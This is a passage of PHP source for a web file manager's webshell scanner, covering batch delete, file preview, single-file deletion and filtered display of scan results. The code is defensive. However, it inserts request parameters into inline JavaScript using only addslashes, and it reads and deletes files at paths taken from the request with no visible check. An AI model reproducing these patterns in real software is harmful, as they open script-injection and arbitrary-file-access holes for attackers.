$message = "✅ 成功删除 {$deleted_count} 个文件";
if ($failed_count > 0) {
$message .= ",❌ 失败 {$failed_count} 个";
}
echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>批量删除结果</title>";
echo "<style>body{font-family: monospace; background:#f4f4f4; margin:20px;}
.result{background:#fff; padding:20px; border-radius:5px; box-shadow:0 1px 3px #ccc;}
.success{color:#090;} .fail{color:#f00;}</style>";
echo "<script>setTimeout(function(){ window.location.href='?act=scan&dir=" . urlencode($dir) . "'; }, 2000);</script>";
echo "</head><body>";
echo "<div class='result'>";
echo "<h2>批量删除结果</h2>";
echo "<p class='success'>$message</p>";
if ($failed_count > 0) {
echo "<p class='fail'>删除失败的文件:</p><ul>";
foreach ($failed_files as $fail) {
echo "<li>" . htmlspecialchars($fail) . "</li>";
}
echo "</ul>";
}
echo "<p>2秒后自动返回...</p>";
echo "</div></body></html>";
exit;
}
if ($view_file && file_exists($view_file) && is_file($view_file)) {
header('Content-Type: text/html; charset=utf-8');
echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>查看文件内容</title>";
echo "<style>
body{font-family: monospace; background:#f4f4f4; margin:20px;}
pre{background:#fff; padding:15px; border:1px solid #ddd; overflow:auto; max-height:600px; font-size:12px; white-space:pre-wrap; word-wrap:break-word;}
.nav{margin-bottom:20px; padding:10px; background:#fff; border-radius:5px; box-shadow:0 1px 3px #ccc;}
.btn{display:inline-block; padding:5px 15px; background:#06c; color:#fff; text-decoration:none; border-radius:3px; margin-right:10px;}
.btn-del{background:#f00;}
.btn-del:hover{background:#c00;}
.btn-back{background:#666;}
.file-path{background:#f5f5f5; padding:10px; border-radius:3px; margin-top:10px; word-break:break-all;}
</style>";
echo "<script>
function deleteFile() {
if(confirm('确认删除该文件?\\n" . addslashes($view_file) . "\\n\\n⚠️ 删除后不可恢复!')) {
var url = '?act=scan&del=' + encodeURIComponent('" . addslashes($view_file) . "') + '&from_view=1&dir=" . urlencode($dir) . "';
var risk = '" . addslashes($_GET['risk']) . "';
var chinese = '" . addslashes($_GET['chinese']) . "';
var min_score = '" . addslashes($_GET['min_score']) . "';
var max_score = '" . addslashes($_GET['max_score']) . "';
var name_filter = '" . addslashes($_GET['name_filter']) . "';
var content_filter = '" . addslashes($_GET['content_filter']) . "';
if (risk) url += '&risk=' + encodeURIComponent(risk);
if (chinese) url += '&chinese=' + encodeURIComponent(chinese);
if (min_score) url += '&min_score=' + encodeURIComponent(min_score);
if (max_score) url += '&max_score=' + encodeURIComponent(max_score);
if (name_filter) url += '&name_filter=' + encodeURIComponent(name_filter);
if (content_filter) url += '&content_filter=' + encodeURIComponent(content_filter);
window.location.href = url;
}
}
function goBack() {
var url = '?act=scan&dir=" . urlencode($dir) . "';
var risk = '" . addslashes($_GET['risk']) . "';
var chinese = '" . addslashes($_GET['chinese']) . "';
var min_score = '" . addslashes($_GET['min_score']) . "';
var max_score = '" . addslashes($_GET['max_score']) . "';
var name_filter = '" . addslashes($_GET['name_filter']) . "';
var content_filter = '" . addslashes($_GET['content_filter']) . "';
if (risk) url += '&risk=' + encodeURIComponent(risk);
if (chinese) url += '&chinese=' + encodeURIComponent(chinese);
if (min_score) url += '&min_score=' + encodeURIComponent(min_score);
if (max_score) url += '&max_score=' + encodeURIComponent(max_score);
if (name_filter) url += '&name_filter=' + encodeURIComponent(name_filter);
if (content_filter) url += '&content_filter=' + encodeURIComponent(content_filter);
window.location.href = url;
}
</script>";
echo "</head><body>";
echo "<div class='nav'>";
echo "<a href='javascript:void(0)' onclick='goBack()' class='btn btn-back'>← 返回扫描结果</a>";
echo "<a href='javascript:void(0)' onclick='deleteFile()' class='btn btn-del'>🗑️ 删除此文件</a>";
echo "<a href='?act=edit&file=" . urlencode($view_file) . "&dir=" . urlencode(dirname($view_file)) . "' class='btn'>✏️ 编辑文件</a>";
echo "</div>";
echo "<h2>📄 文件预览</h2>";
echo "<div class='file-path'><strong>文件路径:</strong> " . htmlspecialchars($view_file) . "</div>";
echo "<div style='background:#f5f5f5; border:1px solid #ddd; padding:10px; margin-top:15px; overflow:auto; max-height:600px;'>";
echo "<pre>";
echo htmlspecialchars(file_get_contents($view_file));
echo "</pre></div>";
echo "</body></html>";
exit;
}
if ($del_file && file_exists($del_file) && is_file($del_file)) {
$redirect_url = '?act=scan&dir=' . urlencode($dir);
if (isset($_GET['risk'])) $redirect_url .= '&risk=' . urlencode($_GET['risk']);
if (isset($_GET['chinese'])) $redirect_url .= '&chinese=' . urlencode($_GET['chinese']);
if (isset($_GET['min_score'])) $redirect_url .= '&min_score=' . urlencode($_GET['min_score']);
if (isset($_GET['max_score'])) $redirect_url .= '&max_score=' . urlencode($_GET['max_score']);
if (isset($_GET['name_filter'])) $redirect_url .= '&name_filter=' . urlencode($_GET['name_filter']);
if (isset($_GET['content_filter'])) $redirect_url .= '&content_filter=' . urlencode($_GET['content_filter']);
if (unlink($del_file)) {
echo "<script>alert('✅ 文件已删除: " . addslashes($del_file) . "'); window.location.href='" . $redirect_url . "';</script>";
} else {
echo "<script>alert('❌ 删除失败,请检查文件权限'); window.location.href='" . $redirect_url . "';</script>";
}
exit;
}
$results = array();
$total_files = 0;
$scanned_files = 0;
set_time_limit(0);
error_reporting(E_ERROR);
scanShellDirectory($dir, $GLOBALS['suspicious_functions'], $GLOBALS['suspicious_patterns'], $GLOBALS['high_risk_strings'], $results, $total_files, $scanned_files);
// 获取筛选参数
$risk_filter = isset($_GET['risk']) ? $_GET['risk'] : 'all'; // all, high, medium
$chinese_filter = isset($_GET['chinese']) ? $_GET['chinese'] : 'all'; // all, yes, no
$min_score = isset($_GET['min_score']) && is_numeric($_GET['min_score']) ? intval($_GET['min_score']) : 0;
$max_score = isset($_GET['max_score']) && is_numeric($_GET['max_score']) ? intval($_GET['max_score']) : 999;
$name_filter = isset($_GET['name_filter']) ? trim($_GET['name_filter']) : '';
$content_filter = isset($_GET['content_filter']) ? trim($_GET['content_filter']) : '';
// 筛选结果
$filtered_results = $results;
// 按风险等级筛选(当用户选择自定义范围时,优先使用自定义范围)
if ($risk_filter == 'high' && $min_score == 0 && $max_score == 999) {
$filtered_results = array_filter($filtered_results, function($r) {
return $r['score'] >= 5;
});
} elseif ($risk_filter == 'medium' && $min_score == 0 && $max_score == 999) {
$filtered_results = array_filter($filtered_results, function($r) {
return $r['score'] >= 2 && $r['score'] < 5;
});
}
// 按自定义分值范围筛选
$filtered_results = array_filter($filtered_results, function($r) use ($min_score, $max_score) {
return $r['score'] >= $min_score && $r['score'] <= $max_score;
});
// 按中文文件名筛选
if ($chinese_filter == 'yes') {
$filtered_results = array_filter($filtered_results, function($r) {
return containsChinese($r['file']);
});
} elseif ($chinese_filter == 'no') {
$filtered_results = array_filter($filtered_results, function($r) {
return !containsChinese($r['file']);
});
}
// 按文件名包含筛选
if ($name_filter !== '') {
$filtered_results = array_filter($filtered_results, function($r) use ($name_filter) {
return stripos(basename($r['file']), $name_filter) !== false;
});
}
// 按文件内容包含筛选
if ($content_filter !== '') {
$filtered_results = array_filter($filtered_results, function($r) use ($content_filter) {
$content = @file_get_contents($r['file']);
return $content !== false && stripos($content, $content_filter) !== false;
});
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title><?php echo htmlspecialchars($SITE_NAME); ?> - 木马扫描</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: Arial, monospace; background: #f4f4f4; margin: 20px; }
.header { background: #dc3545; color: white; padding: 20px; margin-bottom: 20px; border-radius: 5px; }
.header h1 { margin-bottom: 10px; }
.nav { background: white; padding: 15px; border-radius: 5px; margin-bottom: 20px; box-shadow: 0 1px 3px #ccc; }
.nav a { color: #0066cc; text-decoration: none; margin-right: 15px; padding: 8px 15px; background: #f0f0f0; border-radius: 4px; }
.nav a:hover { background: #e0e0e0; }
.summary { background: #fff; padding: 15px; margin-bottom: 20px; border-radius: 5px; box-shadow: 0 1px 3px #ccc; }
.summary h2 { margin-bottom: 10px; }
.summary p { margin: 5px 0; }
.high-risk { border-left: 4px solid #d00; background: #fff5f5; }
.medium-risk { border-left: 4px solid #fa0; }
.file { background: #fff; margin: 10px 0; padding: 10px; border-radius: 5px; box-shadow: 0 1px 3px #ccc; }
.file:hover { background: #fefefe; }
.score { color: #f00; font-weight: bold; }
.reasons { color: #555; margin: 5px 0; }
.info { color: #888; font-size: 12px; }
.function-list { color: #666; font-size: 12px; margin-top: 5px; }
.file-actions { margin-top: 10px; }
.file-actions a { padding: 5px 10px; background: #0066cc; color: white; text-decoration: none; border-radius: 3px; font-size: 12px; margin-right: 5px; }
.file-actions a:hover { opacity: 0.9; }
.batch-bar { background: #fff; padding: 15px; margin-bottom: 20px; border-radius: 5px; position: sticky; top: 10px; z-index: 100; box-shadow: 0 2px 5px #ccc; }
.btn-del { background: #dc3545 !important; }
.btn-del:hover { background: #c00 !important; }
.file-checkbox { width: 18px; height: 18px; cursor: pointer; margin-right: 10px; }
.no-results { background: #fff; padding: 40px; text-align: center; border-radius: 5px; color: #28a745; }
.filter-bar { background: #fff; padding: 15px; margin-bottom: 20px; border-radius: 5px; box-shadow: 0 1px 3px #ccc; }
.filter-bar select { padding: 6px 12px; border: 1px solid #ddd; border-radius: 3px; margin-right: 10px; }
</style>
<script>
function deleteFile(filepath) {
if(confirm('确认删除该文件?\n' + filepath + '\n\n⚠️ 删除后不可恢复!')) {
var risk = document.getElementById('risk_select') ? document.getElementById('risk_select').value : 'all';
var chinese = document.getElementById('chinese_select') ? document.getElementById('chinese_select').value : 'all';
var min_score = document.getElementById('min_score') ? document.getElementById('min_score').value : '';
var max_score = document.getElementById('max_score') ? document.getElementById('max_score').value : '';
var name_filter = document.getElementById('name_filter') ? document.getElementById('name_filter').value : '';
var content_filter = document.getElementById('content_filter') ? document.getElementById('content_filter').value : '';
var url = '?act=scan&del=' + encodeURIComponent(filepath) + '&dir=' + encodeURIComponent('<?php echo addslashes($dir); ?>') + '&risk=' + encodeURIComponent(risk) + '&chinese=' + encodeURIComponent(chinese);
if (min_score) url += '&min_score=' + encodeURIComponent(min_score);
if (max_score) url += '&max_score=' + encodeURIComponent(max_score);
if (name_filter) url += '&name_filter=' + encodeURIComponent(name_filter);
if (content_filter) url += '&content_filter=' + encodeURIComponent(content_filter);
window.location.href = url;
}
}
function selectAll() {
var checkboxes = document.getElementsByName('files[]');
var selectAllCheckbox = document.getElementById('select_all');
for(var i = 0; i < checkboxes.length; i++) {
checkboxes[i].checked = selectAllCheckbox.checked;
}
updateBatchButton();
}
function updateBatchButton() {
var checkboxes = document.getElementsByName('files[]');
var checkedCount = 0;
for(var i = 0; i < checkboxes.length; i++) {
if(checkboxes[i].checked) checkedCount++;
}
var batchBtn = document.getElementById('batch_delete_btn');
var selectedCountSpan = document.getElementById('selected_count');
if(checkedCount > 0) {
batchBtn.disabled = false;
selectedCountSpan.innerHTML = '✅ 已选择 ' + checkedCount + ' 个文件';
} else {
batchBtn.disabled = true;
selectedCountSpan.innerHTML = '☐ 未选择任何文件';
}
}
function batchDelete() {
var checkboxes = document.getElementsByName('files[]');
var selectedFiles = [];
for(var i = 0; i < checkboxes.length; i++) {
if(checkboxes[i].checked) {
selectedFiles.push(checkboxes[i].value);
}
}
if(selectedFiles.length === 0) {
alert('请至少选择一个文件');
return false;
}
if(confirm('⚠️ 确认删除 ' + selectedFiles.length + ' 个文件?\n\n删除后不可恢复!')) {
var form = document.getElementById('batch_form');
for(var i = 0; i < selectedFiles.length; i++) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = 'batch_del[]';
input.value = selectedFiles[i];
form.appendChild(input);
}
var risk = document.getElementById('risk_select') ? document.getElementById('risk_select').value : 'all';
var chinese = document.getElementById('chinese_select') ? document.getElementById('chinese_select').value : 'all';
var min_score = document.getElementById('min_score') ? document.getElementById('min_score').value : '';
var max_score = document.getElementById('max_score') ? document.getElementById('max_score').value : '';
var name_filter = document.getElementById('name_filter') ? document.getElementById('name_filter').value : '';
var content_filter = document.getElementById('content_filter') ? document.getElementById('content_filter').value : '';
var riskInput = document.createElement('input');
riskInput.type = 'hidden';
riskInput.name = 'risk';
riskInput.value = risk;
form.appendChild(riskInput);
var chineseInput = document.createElement('input');
chineseInput.type = 'hidden';
chineseInput.name = 'chinese';
chineseInput.value = chinese;
form.appendChild(chineseInput);
var minScoreInput = document.createElement('input');
minScoreInput.type = 'hidden';
minScoreInput.name = 'min_score';
minScoreInput.value = min_score;
form.appendChild(minScoreInput);
var maxScoreInput = document.createElement('input');
maxScoreInput.type = 'hidden';
maxScoreInput.name = 'max_score';
maxScoreInput.value = max_score;
form.appendChild(maxScoreInput);
var nameFilterInput = document.createElement('input');
nameFilterInput.type = 'hidden';
nameFilterInput.name = 'name_filter';
nameFilterInput.value = name_filter;
form.appendChild(nameFilterInput);
var contentFilterInput = document.createElement('input');
contentFilterInput.type = 'hidden';
contentFilterInput.name = 'content_filter';
contentFilterInput.value = content_filter;
form.appendChild(contentFilterInput);
form.submit();
}
}
function applyFilter() {
var risk = document.getElementById('risk_select').value;
var chinese = document.getElementById('chinese_select').value;
var min_score = document.getElementById('min_score').value;
var max_score = document.getElementById('max_score').value;
var name_filter = document.getElementById('name_filter').value;
var content_filter = document.getElementById('content_filter').value;
var url = '?act=scan&dir=' + encodeURIComponent('<?php echo addslashes($dir); ?>') + '&risk=' + encodeURIComponent(risk) + '&chinese=' + encodeURIComponent(chinese);
if (min_score) url += '&min_score=' + encodeURIComponent(min_score);
if (max_score) url += '&max_score=' + encodeURIComponent(max_score);
if (name_filter) url += '&name_filter=' + encodeURIComponent(name_filter);
if (content_filter) url += '&content_filter=' + encodeURIComponent(content_filter);
window.location.href = url;
}
function clearFilter() {
window.location.href = '?act=scan&dir=' + encodeURIComponent('<?php echo addslashes($dir); ?>');
}
</script>
</head>
<body>
<div class="header">
<h1>🐛 PHP木马扫描工具</h1>
<p>扫描目录: <?php echo htmlspecialchars($dir); ?></p>
</div>
<div class="nav">
<a href="?act=list&dir=<?php echo urlencode($dir); ?>">📁 返回文件管理</a>
<a href="?act=scan&dir=<?php echo urlencode($dir); ?>">🔄 重新扫描</a>
</div>
<?php
if (count($results) > 0) {
usort($results, function($a, $b) {
return $b['score'] - $a['score'];
});
$high_risk = 0;
$medium_risk = 0;
foreach ($results as $r) {
if ($r['score'] >= 5) {
$high_risk++;
} else {
$medium_risk++;
}
}
// 重新排序筛选后的结果
usort($filtered_results, function($a, $b) {
return $b['score'] - $a['score'];
});
?>
<div class="summary">
<h2>📊 扫描结果统计</h2>
<p><strong style="color:#f00">🔴 高危文件 (≥5分):</strong> <?php echo $high_risk; ?> 个</p>
<p><strong style="color:#fa0">🟡 中危文件 (2-4分):</strong> <?php echo $medium_risk; ?> 个</p>
<p><strong>📄 扫描文件:</strong> PHP文件 <?php echo $scanned_files; ?> 个 / 总文件 <?php echo $total_files; ?> 个</p>
</div>
<!-- 筛选控件 -->
<div class="filter-bar">
<label><strong>🔍 风险等级:</strong></label>
<select id="risk_select" onchange="applyFilter()">
<option value="all" <?php echo $risk_filter == 'all' ? 'selected' : ''; ?>>全部</option>
<option value="high" <?php echo $risk_filter == 'high' ? 'selected' : ''; ?>>🔴 高危 (≥5分)</option>
<option value="medium" <?php echo $risk_filter == 'medium' ? 'selected' : ''; ?>>🟡 中危 (2-4分)</option>
</select>
<label style="margin-left: 20px;"><strong>📝 中文文件名:</strong></label>
<select id="chinese_select" onchange="applyFilter()">
<option value="all" <?php echo $chinese_filter == 'all' ? 'selected' : ''; ?>>全部</option>
<option value="yes" <?php echo $chinese_filter == 'yes' ? 'selected' : ''; ?>>包含中文</option>
<option value="no" <?php echo $chinese_filter == 'no' ? 'selected' : ''; ?>>不含中文</option>
</select>
<label style="margin-left: 20px;"><strong>🎯 分值范围:</strong></label>
<input type="number" id="min_score" placeholder="最低分" min="0" max="20" value="<?php echo $min_score > 0 ? $min_score : ''; ?>" style="width: 70px; padding: 6px; border: 1px solid #ddd; border-radius: 3px;">
<span>~</span>
<input type="number" id="max_score" placeholder="最高分" min="0" max="20" value="<?php echo $max_score < 999 ? $max_score : ''; ?>" style="width: 70px; padding: 6px; border: 1px solid #ddd; border-radius: 3px;">
<label style="margin-left: 20px;"><strong>📄 文件名包含:</strong></label>
<input type="text" id="name_filter" placeholder="输入文件名关键词" value="<?php echo htmlspecialchars($name_filter); ?>" style="width: 150px; padding: 6px; border: 1px solid #ddd; border-radius: 3px;">
<label style="margin-left: 20px;"><strong>📝 文件内容包含:</strong></label>
<input type="text" id="content_filter" placeholder="输入内容关键词" value="<?php echo htmlspecialchars($content_filter); ?>" style="width: 150px; padding: 6px; border: 1px solid #ddd; border-radius: 3px;">
<button type="button" onclick="applyFilter()" style="margin-left: 10px; padding: 6px 15px; background: #06c; color: white; border: none; border-radius: 3px; cursor: pointer;">🔍 应用筛选</button>
<button type="button" onclick="clearFilter()" style="margin-left: 10px; padding: 5px 15px; background: #666; color: white; border: none; border-radius: 3px; cursor: pointer;">🔄 重置筛选</button>
</div>
<form id="batch_form" method="post">
<div class="batch-bar">
<input type="checkbox" id="select_all" onclick="selectAll()"> 全选/反选
<span id="selected_count" style="margin-left: 15px; color: #666;">☐ 未选择任何文件</span>
<button type="button" id="batch_delete_btn" class="btn-del" onclick="batchDelete()" disabled style="margin-left: 15px; padding: 8px 15px; color: white; border: none; border-radius: 3px; cursor: pointer;">🗑️ 批量删除</button>
</div>
<?php foreach ($filtered_results as $r): ?>
<div class="file <?php echo $r['score'] >= 5 ? 'high-risk' : 'medium-risk'; ?>">
<div>
<input type="checkbox" name="files[]" value="<?php echo base64_encode($r['file']); ?>" onclick="updateBatchButton()" class="file-checkbox">
<strong class="score">[风险: <?php echo $r['score']; ?>分]</strong>
<strong><?php echo htmlspecialchars($r['file']); ?></strong>
<span class="info">(<?php echo format_size($r['size']); ?>)</span>
<?php if (containsChinese($r['file'])): ?>
<span style="background: #ffc107; color: #333; padding: 2px 5px; border-radius: 3px; font-size: 12px; margin-left: 5px;">中文字符</span>
<?php endif; ?>
</div>
<div class="reasons"><?php echo implode('<br>', array_map('htmlspecialchars', $r['reasons'])); ?></div>
<?php if (!empty($r['functions'])): ?>
<div class="function-list">检测到: <?php echo htmlspecialchars(implode(', ', array_slice($r['functions'], 0, 10))); ?></div>
<?php endif; ?>
<div class="file-actions">
<a href="?act=scan&view=<?php echo urlencode($r['file']); ?>&dir=<?php echo urlencode($dir); ?>&risk=<?php echo urlencode($risk_filter); ?>&chinese=<?php echo urlencode($chinese_filter); ?>&min_score=<?php echo urlencode($min_score); ?>&max_score=<?php echo urlencode($max_score); ?>&name_filter=<?php echo urlencode($name_filter); ?>&content_filter=<?php echo urlencode($content_filter); ?>">👁️ 查看</a>
<a href="javascript:void(0)" onclick="deleteFile('<?php echo addslashes($r['file']); ?>')" style="background: #dc3545;">🗑️ 删除</a>
<a href="?act=edit&file=<?php echo urlencode($r['file']); ?>&dir=<?php echo urlencode(dirname($r['file'])); ?>">✏️ 编辑</a>
</div>
</div>
<?php endforeach; ?>
</form>
<?php if (count($filtered_results) == 0): ?>
<div class="no-results">
<h2>🔍 筛选后未发现匹配的文件</h2>
<p>当前筛选条件下没有找到符合条件的文件</p>
<p style="margin-top: 20px;"><button onclick="clearFilter()" style="padding: 8px 15px; background: #06c; color: white; border: none; border-radius: 3px; cursor: pointer;">🔄 清除筛选条件</button></p>
</div>
<?php endif; ?>
<?php } else { ?>
<div class="no-results">
<h2>✅ 扫描完成,未发现可疑文件</h2>
<p>扫描了 <?php echo $scanned_files; ?> 个PHP文件,共 <?php echo $total_files; ?> 个文件</p>
<p style="margin-top: 20px;"><a href="?act=list&dir=<?php echo urlencode($dir); ?>" style="color: #0066cc;">返回文件管理</a></p>
</div>
<?php } ?>
</body>
</html>
<?php
}
?>